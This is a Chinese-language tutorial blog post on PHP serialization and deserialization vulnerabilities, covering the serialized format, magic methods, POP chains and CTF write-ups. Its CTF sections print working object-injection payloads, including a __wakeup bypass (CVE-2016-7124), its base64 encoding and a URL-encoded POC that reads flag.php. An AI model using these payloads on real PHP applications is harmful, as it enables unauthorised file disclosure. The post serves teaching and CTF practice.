接之前写的关于SSRF漏洞的介绍,之前写完SSRF篇,激起了自己想把这些漏洞都系统性总结下的兴趣,后续会对于一些其他的漏洞也进行一些介绍,这个系列的更偏向于对于没有基础或者基础较弱的人的科普。更加深入的东西,会在一些其他wp或博客中进行介绍。另外,这一篇博客中不涉及对session序列化、phar伪协议触发PHP反序列化等的介绍,将会在第二部分中进行总结。

序列化与反序列化

来自维基:在计算机科学的数据处理中,序列化是指将数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。依照序列化格式重新获取字节的结果时,可以利用它来产生与原始对象相同语义的副本。对于许多对象,像是使用大量引用的复杂对象,这种序列化重建的过程并不容易。面向对象中的对象序列化,并不概括之前原始对象所关系的函数。这种过程也称为对象编组(marshalling)。从一系列字节提取数据结构的反向操作,是反序列化(也称为解编组、deserialization、unmarshalling)。

序列化在计算机科学中通常有以下定义:
对同步控制而言,表示强制在同一时间内进行单一访问。
在数据储存与发送的部分是指将一个对象存储至一个存储介质,例如文件或是存储器缓冲等,或者透过网络发送数据时进行编码的过程,可以是字节或是XML等格式。而字节的或XML编码格式可以还原完全相等的对象。这程序被应用在不同应用程序之间发送对象,以及服务器将对象存储到文件或数据库。相反的过程又称为反序列化。

另一个比较重要的概念为序列化协议,在编程语言中,变量和实例对应的,是一些有意义的数据。这些数据,在不同编程语言中,可能有不一样的表现;在不同操作系统中,也可能有不一样的形式。现代计算机应用,不可避免地会涉及到多个模块/程序之间的数据交换、不同语言之间的相互协作、计算机之间的数据交互。如果依着操作系统和编程语言的特性,用不同的形式去实现同样的数据,那整个计算机世界就会乱了套了。

数据的序列化和反序列化,就是为了解决这个问题而诞生的。

序列化是说,将变量和实例这些数据,依照某种约定,转化(通常伴随着压缩)为一种通用的数据格式;转化后的数据,可以用来储存或者传输,以备下次读取使用。其中提到的格式可以是二进制的,也可以是字符串式的。反序列化,就是上述过程的补集:将序列化的数据读入,解析为编程语言可识别的数据结构的过程。

通俗的来说,序列化的意思就是将编程中的数据结构或者对象(类)通过某种方法将其转化为另外一种有特殊格式的字符串,这种字符串可以用来进行重建转化前的数据结构或对象。在这里面,转化的方法就叫做序列化,而将转化之后的特殊格式的字符串还原的操作叫做反序列化。目前很多编程语言都支持序列化,如C/C++、Java、Perl、PHP、Python、Delphi、OCaml等,本文主要介绍PHP中的序列化与反序列化,这也是在做CTF Web题中较常碰见的问题。

PHP序列化

这里先对PHP中的序列化进行介绍,其余编程语言的大体上是类似的形式,只是实现方式上大同小异。
之前说过,序列化其实就是将对象转为字符串,那么先看看PHP中的类的格式:

<?php
class test //类定义
{
private $flag = 'xiaoZisacaiji';
protected $test1 = 'test1';
public $test2 = 'test2';

public function set_flag($flag){
$this->flag = $flag;
}

public function get_flag(){
return $this->flag;
}
}
$object = new test(); //实例化类
$object->set_flag('xiaoZxiaoZ'); //对flag进行复制
// echo $object;
$result = serialize($object); //将对象进行序列化
echo $result; //打印结果
?>

输出结果:

// echo $object 直接打印对象 明显是会报错的
Recoverable fatal error: Object of class test could not be converted to string in E:\test\index.php on line 18

// 序列化成字符串后打印结果
O:4:"test":3:{s:10:"testflag";s:10:"xiaoZxiaoZ";s:8:"*test1";s:5:"test1";s:5:"test2";s:5:"test2";}

可以看到序列化后的结果和json数据格式有点类似,下面对上述序列化后的字符串进行解释:

  • 括号外面
    O:4:“test”:3:
    O表示这是一个对象
    4便是对象名的字符长度,这里的是test,长度为4
    'test’为对象名
    3表示该对象中有三个属性,即类中定义了三个变量

  • 括号里面
    可以看到是有一定格式的,其中 s:10:“testflag”;s:10:“xiaoZxiaoZ”; 为一组
    前面的s:10:“testflag”;为属性名,后面为属性值
    对于每一个部分,都是由类型+长度+值来表示。
    如 s:10:“testflag”; 中 s 为数据类型,10为长度
    需要注意,这里testflag虽然是8个字符,但是在PHP序列化中,对于私有属性,序列化时会在前面补上两个空字符,所以这里的长度为10,后面即为值。
    而后续的 s:10:“xiaoZxiaoZ”; 即是属性值,格式一样,和前一部分连起来表示属性名为testflag的变量的值为xiaoZxiaoZ。

括号里面其他部分就是类似的了,另外这里又有一个需要注意的点就是,对于pritected权限的test,在PHP序列化之后为’*test1’,字符长度也变为了8,这也是需要注意的一个点,在PHP序列化中,对于对象中的protected属性,需要在前面加上两个空白符和*。

另外,需要注意,序列化结果中并没有方法,即在对对象进行序列化时,只对属性进行序列化,方法是不用进行序列化的。在PHP序列化中,其涉及的字符如下:

a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

N 表示的是NULL,而bdis 表示的是四种标量类型,目前其它语言所实现的PHP序列化程序
基本上都实现了对这些类型的序列化和反序列化,不过有一些实现中对s (字符串)的实现存在问题。

aO 属于最常用的复合类型,大部分其他语言的实现都很好的实现了对a 的序列化和反序列化,
但对O 只实现了PHP4 中对象序列化格式,而没有提供对PHP 5 中扩展的对象序列化格式的支持。

rR 分别表示对象引用和指针引用,这两个也比较有用,在序列化比较复杂的数组和对象时
就会产生带有这两个标示的数据,目前这两个标示尚没有发现有其他语言的实现。

CPHP5 中引入的,它表示自定义的对象序列化方式,尽管这对于其它语言来说是没有必要实现的。

UPHP6 中才引入的,它表示Unicode 编码的字符串。因为PHP6 中提供了Unicode 方式保存字符串的能力,
因此它提供了这种序列化字符串的格式,不过这个类型PHP5PHP4 都不支持,而这两个版本目前是主流,因此在其它语言实现该类型时,
不推荐用它来进行序列化,不过可以实现它的反序列化过程。

最后还有一个o,这个标示在PHP3 中被引入用来序列化对象,但是到了PHP4 以后就被O 取代了。
PHP3 的源代码中可以看到对o 的序列化和反序列化与数组a基本上是一样的。但是在PHP4PHP5PHP6
的源代码中序列化部分里都找不到它的影子,但是在这几个版本的反序列化程序源代码中却都有对它的处理。

PHP反序列化

有了上一部分的介绍,这一部分会简单很多,反序列化则是将字符串还原为对象,在PHP中,其函数为unserialize(),可以看到下面的示例:

<?php
class test //类定义
{
private $flag = 'xiaoZisacaiji';
protected $test1 = 'test1';
public $test2 = 'test2';

public function set_flag($flag){
$this->flag = $flag;
}

public function get_flag(){
return $this->flag;
}
}

$data = file_get_contents("re.txt"); //序列化结果存储在re.txt

$data = unserialize($data);
echo $data->test1;
echo "<br>";
echo $data->get_flag();
?>

上述代码运行后结果为:

test2
xiaoZxiaoZ

其实就是还原,这里倒是没什么要说的,但是这里有一点值得提一下的是 ,反序列化得到的对象一般是程序可能会用到的,那么如果可以在反序列化时将其中的某个属性值改成自己想要的值,是否可以达成一些其他目的呢?这其实便是一些ctf web题中场景的反序列化漏洞利用原理。

PHP反序列化漏洞与魔法函数

上面已经举了些例子对PHP序列化与反序列化进行了介绍,下面对PHP反序列化的漏洞进行介绍,归根到底,这些漏洞的根本原理在于,通过利用PHP反序列化相关函数中的一些漏洞,改变反序列化结果中对象的属性值,从而实现最终的攻击。常涉及到的函数有以下这些,通过利用这些函数的一些特性或漏洞即可进行反序列化对象注入,修改对象的属性值:

construct(), destruct()

构造函数与析构函数,前者创建对象时调用,后者销毁对象时调用。

call(), callStatic()

方法重载的两个函数
__call()是在对象上下文中调用不可访问的方法时触发。
__callStatic()是在静态上下文中调用不可访问的方法时触发。

get(), set()

__get()用于从不可访问的属性读取数据,当给不可访问或不存在属性赋值时被调用。
__set()用于将数据写入不可访问的属性,读取不可访问或不存在属性时被调用。

isset(), unset()

__isset()在不可访问的属性上调用isset()或empty()触发。
__unset()在不可访问的属性上使用unset()时触发。

sleep(), wakeup()

serialize()检查类是否具有魔术名sleep()的函数。如果有,该函数在任何序列化之前执行。它可以清理对象,并且应该返回一个数组,其中应该被序列化的对象的所有变量的名称。如果该方法不返回任何内容,则将NULL序列化并发出E_NOTICE。sleep()的预期用途是提交挂起的数据或执行类似的清理任务。此外,如果您有非常大的对象,不需要完全保存,该功能将非常有用。
unserialize()使用魔术名wakeup()检查函数的存在。如果存在,该功能可以重构对象可能具有的任何资源。wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务。

__toString()

这个函数在反序列化中,触发条件比较多,因为这个也常被忽略,常见的触发方式有:

  • echo ($obj) / print($obj) 打印时会触发
  • 反序列化对象与字符串连接时
  • 反序列化对象参与格式化字符串时
  • 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
  • 反序列化对象参与格式化SQL语句,绑定参数时
  • 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
  • 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
  • 反序列化的对象作为 class_exists() 的参数的时候

__invoke()

当脚本尝试将对象调用为函数时,调用__invoke()方法。

__set_state()

当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。

__clone()

进行对象clone时被调用,用来调整对象的克隆行为。

__debugInfo()

当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本。

这些函数也叫做魔法函数,后面会结合例子对一些较为常见的魔法函数进行介绍。

PHP反序列化与POP链

在介绍这些魔法函数的细节前,先了解一个概念——POP链。
就如前文所说,当反序列化参数可控时,可能会产生严重的安全威胁。
面向对象编程从一定程度上来说,就是完成类与类之间的调用。就像ROP一样,POP链起于一些小的"组件",这些小"组件"可以调用其他的"组件"。在PHP中,"组件"就是这些魔术方法( 比如__wakeup()或__destruct() )。

一些对我们来说有用的POP链方法:

//命令执行
exec()
passthru()
popen()
system()

//文件操作
file_put_contents()
file_get_contents()
unlink()

在反序列化漏洞的利用中,其实便是需要我们去构造POP链,将需要传入的参数传到对象属性中,从而达到读取文件或执行命令的目的。
如下面这样的代码(来源XCTF 攻防世界 web进阶 unserialize3)

class xctf{ 
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

这里的反序列化利用比较简单,只需要利用wakeup进行绕过将flag传入即可。这里利用了PHP中的魔法函数_wakeup(),__wakeup()函数漏洞与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么就调用__wakeup()函数,如果该数字大于真实属性个数,就会绕过__wakeup()函数。所以绕过payload:O:4:“sctf”:2:{s:4:“flag”;s:3:“111”;}

上面这个对于理解POP链可能帮助并不大,下面看这个例子:

<?php
class popdemo
{
private $data = "demon";
private $filename = './demo';
public function __wakeup()
{
$this->save($this->filename);
}
public function save($filename)
{
file_put_contents($filename, $this->data);
}
}
?>

这就是一个比较简单的POP链,攻击者需要做的是通过利用_wakeup()魔法函数,将需要读取的文件名传入到反序列化后的对象中,从而实现读取文件的目的。这里使用的poc不直接给出,可以自行尝试。

PHP反序列化示例

这里的示例,结合两个CTF题目进行介绍,希望对于通过对于这些示例的介绍,能够都PHP序列化与反序列化有一个更为清晰的理解。

示例一

先看题目源码:

<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}

function __wakeup(){
$this-> file='index.php';
}

public function __toString(){
return '' ;
}
}

if (!isset($_GET['file'])){
show_source('index.php');
}

else{
$file=base64_decode( $_GET['file']);
echo unserialize($file);
}

?>
#<!--key in flag.php-->

代码审计,要得到flag,思路如下:

  • 源码最后提示,KEY在flag.php里面;
  • 注意到__destruct魔术方法中,有这么一段代码,将file文件内容显示出来
    show_source(dirname(FILE).’/‘.$this->file),这个是解题关键;
  • 若POST“file”参数为序列化对象,且将file设为flag.php;那么可以通过unserialize反序列化,进而调用__destruct魔术方法来显示flag.php源码(要注意的是file参数内容需要经过base64编码);
  • 另外,从代码分析可以知道,还有__wakeup这个拦路虎,通过unserialize反序列化之后,也会调用__wakeup方法,它会把file设为index.php;
  • 总结下来就是,想办法把file设为flag.php,触发__destruct方法,且绕过__wakeup。

这里的重点是绕过__wakeup,而这个方法是存在一个PHP反序列化对象注入漏洞的。简单来说,当序列化字符串中,如果表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。因此,可以构造payload,将其属性个数修改为比实际大,即可绕过该魔法函数。

这里构造payload:

O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}

//其中,O:5:"SoFun":2: 中的2本应该为1,这里为了绕过wakeup函数将其改为2
//另外,file是protected属性,因此需要用\00*\00来表示,\00代表ascii为0的值,即为空字符。
//另外,payload还需要经过Base64编码,最终的payload为:

Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

示例二

本题来源–19年国赛。源码:

<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}

这个示例就不进行详细的代码分析了,代码具体分析可得:

  • 首先我们需要绕的就是 $url=parse_url($_SERVER[‘REQUEST_URI’]);使得 parse_str($url[‘query’],$query); 中query解析失败,这样就可以在payload里出现flag,这里应该n1ctf的web eating cms的绕过方式,添加 ///index.php绕过。
  • 接下来就是需要我们绕过wakeup()里的将$k赋值为空的操作,这里用到的就是示例一种所说当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
  • 绕md5这里用到了PHP中引用变量的知识,可以参考这篇博客

简单来说就是,当两个变量指向同一地址时,例如: $b=&$a,这里的 $b指向的是 $a的区域,这样b就随着a变化而变化,同样的原理,我们在第二步序列化时加上这一步

$b = new Flag("flag.php");
$b->token=&$b->token_flag;
$a = new Handle($b);

这样最后的token就和token_flag保持一致了。最后的POC如下:

<?php
class Handle
{
private $handle;
public function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "Waking upn";
}
public function __construct($handle)
{
$this->handle = $handle;
}
public function __destruct()
{
$this->handle->getFlag();
}
}
class Flag
{
public $file;
public $token;
public $token_flag;
function __construct($file)
{
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag()
{
if(isset($this->file))
{
echo @highlight_file($this->file,true);
}
}
}
$b = new Flag("flag.php");
$b->token=&$b->token_flag;
$a = new Handle($b);
echo(serialize($a));
?>

这里还需要用%00来补全空缺的字符,又因为含有private 变量,需要 encode 一下。最终payload:

?file=hint&payload=O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22Handlehandle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22da0d1111d2dc5d489242e60ebcbaf988%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D